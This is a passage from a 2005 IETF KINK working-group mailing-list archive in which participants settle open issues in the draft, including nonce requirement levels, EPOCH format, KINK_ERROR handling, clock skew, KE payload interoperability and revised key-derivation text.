> make sure the working group explicitly decided the differences are a > good thing. > > I'm somewhat concerned that 4.3 is not specific enough to describe > exactly what key gets set up. I.E. I'm concerned it may not be > detailed enough for interoperable implementations. > (Sam Hartman) > > - What keys are used for the resulting SA on the each side? > (Sam Hartman, Message-ID: ) > > Answer: Message-ID: <20050204170451BM%kamada@nanohz.org> > > - Doesn't the timing when to add in/out SAs conflict with IKE? > (Sam Hartman, Message-ID: ) > > Related thread: Message-ID: <20050204170454BO%kamada@nanohz.org> > > - How about when to add SAs and which SAs to add when 3-way. > (Message-ID: <20050204170454BO%kamada@nanohz.org>) > > > #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) > (solution proposed) > > Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the > nonce should be used. If the circumstances they're describing are > different, that's okay, but if so, I missed it on first reading. > (Ken Raeburn) > > They are talking the same situation and the requirement levels should > be aligned. I think SHOULD is appropriate because non-returning > responder's nonce does not break interoperabilities. > (Message-ID: <20050127171441FF%kamada@nanohz.org>) > > If the initiator receives a responder's nonce, she MUST use > it in the KEYMAT calculation. > > I think it is also editorial issue. anyway, the behavior depends on > condition. if a responder does not agree with the initiator's proposal, > AND if the responder wants to continue the transaction, then the responder > MUST send back a message with ACK request bit, and MAY contain a nonce. > There is a case when the responder wants to use same KEYMAT of the > initiator, but just doesn't want to use the initiator's proposal. > It is not always required to add a nonce. > (Message-Id: <20050204200406K.sakane@kame.net>) #37 and #5 seems to have some overlapping discussion. Can I clean them up as follows? #37 Following two issues are answered and seems to have no problem. - What keys are used for the resulting SA on the each side? - Doesn't the timing when to add in/out SAs conflict with IKE? This one seems overlap with #5, so seperate from #37 and moved into #45 (described below). - How about when to add SAs and which SAs to add when 3-way. We have no issue left in #37, so we can close it. #5 The original issue that the responder's nonce is MUST or SHOULD, is answered. It should be SHOULD. Sakane-san's issue is seperated from #5 and moved into #45 We can just fix #5 editorially. and introduce #45. #45 [*] When to add SAs and which SAs to add in 3-way handshake derived from #5 and #37, and related to #23. When does the responder require ACK? - disagreeing on the proposal - doing KE (dispite accepting or rejecting?) - agreeing with the parameters but want to add NONCE (Is this allowed in KINK?) When to add (and remove if necessary) SAs? - usual optimistic approach This is already described in the current draft. - (non-KE) 3-way - KE 3-way -- KAMADA Ken'ichi From owner-ietf-kink Sun Feb 20 19:33:31 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L3XVNe035919; Sun, 20 Feb 2005 19:33:31 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L3XVtq035918; Sun, 20 Feb 2005 19:33:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-THREE-SEVENTY-NINE.MIT.EDU [18.187.6.124]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L3XUGN035912 for ; Sun, 20 Feb 2005 19:33:31 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id A5B2AE0075; Sun, 20 Feb 2005 22:33:21 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: clean #37 and #5 and introduce #45 References: <20050221115212RM%kamada@nanohz.org> From: Sam Hartman Date: Sun, 20 Feb 2005 22:33:21 -0500 In-Reply-To: <20050221115212RM%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Mon, 21 Feb 2005 11:52:12 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi. I don't believe that <20050204170451BM%kamada@nanohz.org> actually gives a good answer to which key is used on each side. I understand section 8's purpose is to answer this issue, but I did not find it clear. I believe that section 8 is going to need to change to specify use of the kcrypto prf. I think that once this change is made I should either say that the result is clear or explain exactly what I think is missing. I suspect I may want some text copied in from the IKE RFC. From owner-ietf-kink Sun Feb 20 22:03:29 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L63TAf051962; Sun, 20 Feb 2005 22:03:29 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L63TSD051961; Sun, 20 Feb 2005 22:03:29 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L63SEX051768 for ; Sun, 20 Feb 2005 22:03:28 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:41c0:4027:40c1:5e8c] ([2001:240:2:0:41c0:4027:40c1:5e8c]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Mon, 21 Feb 2005 15:02:35 +0900 id 00007DC8.4219797B.00003029 Message-ID: <42197969.2050909@miyazawa.org> Date: Mon, 21 Feb 2005 15:02:17 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: "KAMADA Ken'ichi" CC: ietf-kink@vpnc.org Subject: Re: #16 [*] EPOCH (section 5.1.2) References: <20050210154348XQ%kamada@nanohz.org> In-Reply-To: <20050210154348XQ%kamada@nanohz.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: KAMADA Ken'ichi wrote: >>#16 [*] EPOCH (section 5.1.2) >> >> Perhaps you need a description of the time stamp? I recall there >> being such a description in draft-housley-binarytime-xx. >> (Sam Hartman) > > > The current draft specifies it as "the standard posix four octet > time stamp". Is describing in KINK preferred to referring POSIX? > > FWIW, the EPOCH field is only used for DPD and the format of it > is not important, as far as the same value is not reused within a > short period. > I agree with Kamada-san. I think it is important for EPOCH to have an implementation determine peer's rebooting. DPD is done by detecting the change of a EPOCH in a received message. Therefore implementation just has to compare a new EPOCHwith old one as a 32bit binary, so that the format is not important. Even if we adopt the format which counts up a second from a base time, it is not useful for a KINK implementation which can reboot in one tenth second. As Kamda-san said, it is important the value for EPOCH must not reused within a short period for the purpose. Anyway I think the formant is not important and it dpends on a system in which a KINK implementation runs. I think EPOCH is a value under these conditions. 1. It is 32bit binary. 2. It MUST NOT reused within a short period. -- Kazunori Miyazawa From owner-ietf-kink Sun Feb 20 23:07:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L77SdK080121; Sun, 20 Feb 2005 23:07:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L77SJn080120; Sun, 20 Feb 2005 23:07:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L77Q6G079924 for ; Sun, 20 Feb 2005 23:07:27 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:41c0:4027:40c1:5e8c] ([2001:240:2:0:41c0:4027:40c1:5e8c]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Mon, 21 Feb 2005 16:06:34 +0900 id 00007DB9.4219887A.000030CB Message-ID: <42198868.7080309@miyazawa.org> Date: Mon, 21 Feb 2005 16:06:16 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: #31 [*] behavior on KINK_ERROR Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I agree. We need the behaviors of #31 in the issue list. But please let me confirm. Does the first item mean that the initiator which receives a message with KINK_OK can ignore KINK_ERROR payload when the message includes it? What are other error codes in the third item? Does it mean the error coeds except for KINK_OK and KINK_BADQMVERS? -- Kazunori Miyazawa From owner-ietf-kink Sun Feb 20 23:50:12 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L7oC2L096805; Sun, 20 Feb 2005 23:50:12 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L7oCWf096804; Sun, 20 Feb 2005 23:50:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L7oBFo096644 for ; Sun, 20 Feb 2005 23:50:11 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id AFD6F5E for ; Mon, 21 Feb 2005 16:49:53 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2dI5Mm; Mon, 21 Feb 2005 16:49:53 +0900 (JST) Date: Mon, 21 Feb 2005 16:51:23 +0900 Message-ID: <20050221165123IJ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: revising section 8, Key Derivation User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Section 8 seems to be blocking #37, #25, and #26, so I'll try to revise it first. How about this for section 8. # Sorry if my poor English broke some sentenses. 8. Key Derivation KINK uses the same key derivation mechanisms that [IKE] uses in section 5.5, which is: KEYMAT = prf(SKEYID_d, [g(qm)^xy |] protocol | SPI | Ni_b [| Nr_b]) The following differences apply: o prf is the pseudo-random function corresponding to the session key's etype. They are defined in [KCRYPTO]. o SKEYID_d is the session key in the Kerberos service ticket from the AP-REQ. o Nr_b is optional. When the responder's nonce does not exist, Nr_b is treated as if a zero length value was supplied. Note that g(qm)^xy refers to the keying material generated when KE payloads are supplied using Diffie Hellman key agreement. This is explained in section 5.5 of [IKE]. The rest of the key derivation (e.g. how to expand KEYMAT) follows IKE. How to use derived keying materials is up to each service (e.g. section 4.6.2 of [IPSEC]). # add a reference [KCRYPTO] to RFC 3961. # "section 4.6.2 of [IPSEC]" may be "section 4.5.2 of [2401bis]". -- KAMADA Ken'ichi From owner-ietf-kink Sun Feb 20 23:55:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L7tfYc098903; Sun, 20 Feb 2005 23:55:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1L7tfQt098902; Sun, 20 Feb 2005 23:55:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1L7teTT098891 for ; Sun, 20 Feb 2005 23:55:40 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id DDB615E for ; Mon, 21 Feb 2005 16:55:39 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 465D6P; Mon, 21 Feb 2005 16:55:40 +0900 (JST) Date: Mon, 21 Feb 2005 16:57:12 +0900 Message-ID: <20050221165712IX%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #31 [*] behavior on KINK_ERROR In-Reply-To: <42198868.7080309@miyazawa.org> References: <42198868.7080309@miyazawa.org> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Mon, 21 Feb 2005 16:06:16 +0900, Kazunori Miyazawa wrote: > > But please let me confirm. > > Does the first item mean that the initiator which receives a message > with KINK_OK can ignore KINK_ERROR payload when the message includes it? I meant _the_ KINK_ERROR whose value is KINK_OK. If another KINK_ERROR were included (I think it is not allowed), it should not be ignored. # BTW, KINK_OK should not be allowed to be sent in the first place... > What are other error codes in the third item? Does it mean the error coeds > except for KINK_OK and KINK_BADQMVERS? Yes. -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 21 16:18:29 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M0ITlb060311; Mon, 21 Feb 2005 16:18:29 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M0ITj1060310; Mon, 21 Feb 2005 16:18:29 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M0IS6h060299 for ; Mon, 21 Feb 2005 16:18:28 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 3C3ED5E for ; Tue, 22 Feb 2005 09:18:19 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0kR3Xj; Tue, 22 Feb 2005 09:18:19 +0900 (JST) Date: Tue, 22 Feb 2005 09:19:50 +0900 Message-ID: <20050222091950IO%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Issue 24 MUST/SHOULD in clock skew (section 7.1) In-Reply-To: <4202FB85.6080406@miyazawa.org> References: <4202FB85.6080406@miyazawa.org> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 04 Feb 2005 13:35:17 +0900, Kazunori Miyazawa wrote: > > #24 [*] MUST/SHOULD in clock skew (section 7.1) > > The time difference MUST be computed and SHOULD be stored > and used? Why the different requirement levels? (And is this sort of > thing in the domain of KINK or Kerberos?) (Ken Raeburn) > > I think the clock skew processing is an implementation and/or operational issue > in KINK. However the server must provide the ctime because the client may want > to continue the process though there is skew. > > I propose that KINK filling out ctime is MUST but KINK should not decide the > processing. I agree that the server MUST fill out ctime (and the current draft also says so). Regarding clients, do you mean KINK should not describe the processing, or should not use capital letters? I like SHOULD, or have no problem with describing small letters if the WG prefers it. But I think "not describing the processing" is not appropriate because it is not specified by Kerberos (as far as I know) and clients don't know how to process ctime without it. -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 21 17:57:19 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M1vJYa066799; Mon, 21 Feb 2005 17:57:19 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M1vJPV066798; Mon, 21 Feb 2005 17:57:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M1vHMV066792 for ; Mon, 21 Feb 2005 17:57:18 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M1vahB068777 for ; Tue, 22 Feb 2005 10:57:37 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #18 [**] Kerberos error type limitations (section 5.1.4) In-Reply-To: Your message of "Fri, 04 Feb 2005 20:29:41 +0900" <20050204202941G.sakane@kame.net> References: <20050204202941G.sakane@kame.net> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222105720J.sakane@kame.net> Date: Tue, 22 Feb 2005 10:57:20 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 19 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I would like to close this issue #18 if anybody has objection. > > #18 [**] Kerberos error type limitations (section 5.1.4) > > > > Why should a sender send only those errors? I'm mostly asking > > for an explanation to be given to me or to be added to the document > > rather than liberalization of the requirement. (Sam Hartman) > > I am not sure why the document describes such limitations. > If we don't have any reason, remove the limitations, and remove the text: > > but the sender SHOULD send only the following errors: > > KRB5KRB_AP_ERR_BAD_INTEGRITY > KRB5KRB_AP_ERR_TKT_EXPIRED > KRB5KRB_AP_ERR_SKEW > KRB5KRB_AP_ERR_NOKEY > KRB5KRB_AP_ERR_BADKEYVER > From owner-ietf-kink Mon Feb 21 17:51:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M1pSMX066302; Mon, 21 Feb 2005 17:51:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M1pSB4066301; Mon, 21 Feb 2005 17:51:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M1pAED066254 for ; Mon, 21 Feb 2005 17:51:27 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M1p0hB068656 for ; Tue, 22 Feb 2005 10:51:01 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.4 In-Reply-To: Your message of "Thu, 10 Feb 2005 17:41:10 +0900" <20050210174110XW%kamada@nanohz.org> References: <20050210174110XW%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222093613Z.sakane@kame.net> Date: Tue, 22 Feb 2005 09:36:13 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 10 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > [**] Indicates an issue considered substantive. > [-] Indicates an editorial issue. > (2401bis) Indicates it depends on 2401 vs 2401bis. what is [*] ? is this a typo of [**] ? for example, like the following: > #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) > (solution proposed) From owner-ietf-kink Mon Feb 21 19:33:57 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3Xvla073541; Mon, 21 Feb 2005 19:33:57 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M3XvZU073540; Mon, 21 Feb 2005 19:33:57 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3Xb4p073434 for ; Mon, 21 Feb 2005 19:33:56 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M3XXhB069983; Tue, 22 Feb 2005 12:33:33 +0900 (JST) (envelope-from sakane@kame.net) To: sakane@kame.net Cc: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Wed, 16 Feb 2005 10:51:16 +0900" <20050216105116E.sakane@kame.net> References: <20050216105116E.sakane@kame.net> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Message-Id: <20050222123328R.sakane@kame.net> Date: Tue, 22 Feb 2005 12:33:28 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 73 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > > On Wed, 2005-02-09 at 01:22, Shoichi Sakane wrote: > > > > > I haven't looked it up in the draft, but my feeling is > > > > > that the Receiver MUST implement KE payloads, though > > > > > I suppose that it may be administratively rejected with > > > > > an error message if it doesn't want to participate. > > > > > > I disagree. it must reduce the value of using KINK. > > > I don't understand: if the receiver has a way of > > rejecting the use of PFS, where is the harm here? > > The sender at worst would have to retry without the > > KE payload it seems to me. > > I probably did not understand "MUST implement KE payloads" you said. > I am fine if the receiver can reject KE payloads by its policy, and > SHOULD send an error to the sender. > > > > > > IKEv1 doesn't define it because it always expects that > > > > > the initial DH is performed; KINK doesn't require this > > > > > since there's already a shared key in the ticket. > > > > > > I am assuming that "the initial DH" means the group number used > > > in phase 1. > > > > No, I meant that IKE always performs an initial > > Diffie Hellman exchange, so the KE payload is > > mandatory. > > I don't understand what you mean. what is the initial DH exchange ? > there are 2 phases in IKEv1. DH exchange can be used in each phases. > there is no description of the group number of phase 2's DH exchange. > that is the problem i said. > in IKEv2, both IKE_SA_INIT and CREATE_CHILD_SA can be used DH exchange. > the group number to be used in each exchange can be specified in each > SA payload. so if we choice IKEv2 manner, there is no problem what i said. > > what do you mean "the KE payload is mandatory." ? KE payload in phase 2 > of IKEv1, or in CREATE_CHILD_SA of IKEv2 is optional. > > > > > Sakane-san's point (as far as I can read) is that > > > > if KINK allows using KE payloads, the following 3 issues > > > > should be considered. I think only the 3rd item needs additional > > > > text to the KINK spec. > > > > > > > > - Which error code is returned when the responder doesn't support KE, > > > > if we go with IKEv1. > > > > (I think INVALID-PAYLOAD-TYPE is enough.) > > > > Maybe it should be more specific so that a sender > > can know that it's really the KE payload that's > > causing problems? > > I agree with you, however there is no suitable error type in both RFC2408 > and the IKEv2 specification. INVALID_KE_PAYLOAD would be better, but the > meaning is slightly different from this context. do you have any idea ? > > > Another possibility that I haven't > > looked at yet is for the receiver to _not_ send its > > KE payload back in which case the sender would realize > > that the receiver didn't perform the DH and it could > > proceed as if the sender KE wasn't present at all? > > could you explain me with another word ? i could not understand what > you said. probably language issue. i am sorry. > > > > > - KINK initiators usually set inbound SAs before CREATE command, > > > > but it's not possible when using KE payloads. > > > > I believe the appropriate behavior is specified here... > > could you specify the place in the draft ? i didnt find it. > From owner-ietf-kink Mon Feb 21 19:45:46 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3jk7g074665; Mon, 21 Feb 2005 19:45:46 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M3jkRt074664; Mon, 21 Feb 2005 19:45:46 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3jjvN074642 for ; Mon, 21 Feb 2005 19:45:46 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id A2B2C5E; Tue, 22 Feb 2005 12:45:28 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0v29co; Tue, 22 Feb 2005 12:45:28 +0900 (JST) Date: Tue, 22 Feb 2005 12:47:02 +0900 Message-ID: <20050222124702IF%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: sakane@kame.net Cc: ietf-kink@vpnc.org Subject: Re: KINK issue list rev.4 In-Reply-To: <20050222093613Z.sakane@kame.net> References: <20050210174110XW%kamada@nanohz.org> <20050222093613Z.sakane@kame.net> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 22 Feb 2005 09:36:13 +0900, Shoichi Sakane wrote: > > > [**] Indicates an issue considered substantive. > > [-] Indicates an editorial issue. > > (2401bis) Indicates it depends on 2401 vs 2401bis. > > what is [*] ? is this a typo of [**] ? It was meaning "no special meaning" just in order to highlight the heading lines (in old days where there is no issue number). -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 21 19:53:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3rGgX075590; Mon, 21 Feb 2005 19:53:16 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M3rGBp075589; Mon, 21 Feb 2005 19:53:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M3rFP8075581 for ; Mon, 21 Feb 2005 19:53:15 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M3rYhB070516 for ; Tue, 22 Feb 2005 12:53:34 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Wed, 16 Feb 2005 10:51:16 +0900" <20050216105116E.sakane@kame.net> References: <20050216105116E.sakane@kame.net> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222125329R.sakane@kame.net> Date: Tue, 22 Feb 2005 12:53:29 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 112 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: # sorry, i sent a garbage by my misoperation. > > On Wed, 2005-02-09 at 01:22, Shoichi Sakane wrote: > > > > > I haven't looked it up in the draft, but my feeling is > > > > > that the Receiver MUST implement KE payloads, though > > > > > I suppose that it may be administratively rejected with > > > > > an error message if it doesn't want to participate. > > > > > > I disagree. it must reduce the value of using KINK. > > > I don't understand: if the receiver has a way of > > rejecting the use of PFS, where is the harm here? > > The sender at worst would have to retry without the > > KE payload it seems to me. > > I probably did not understand "MUST implement KE 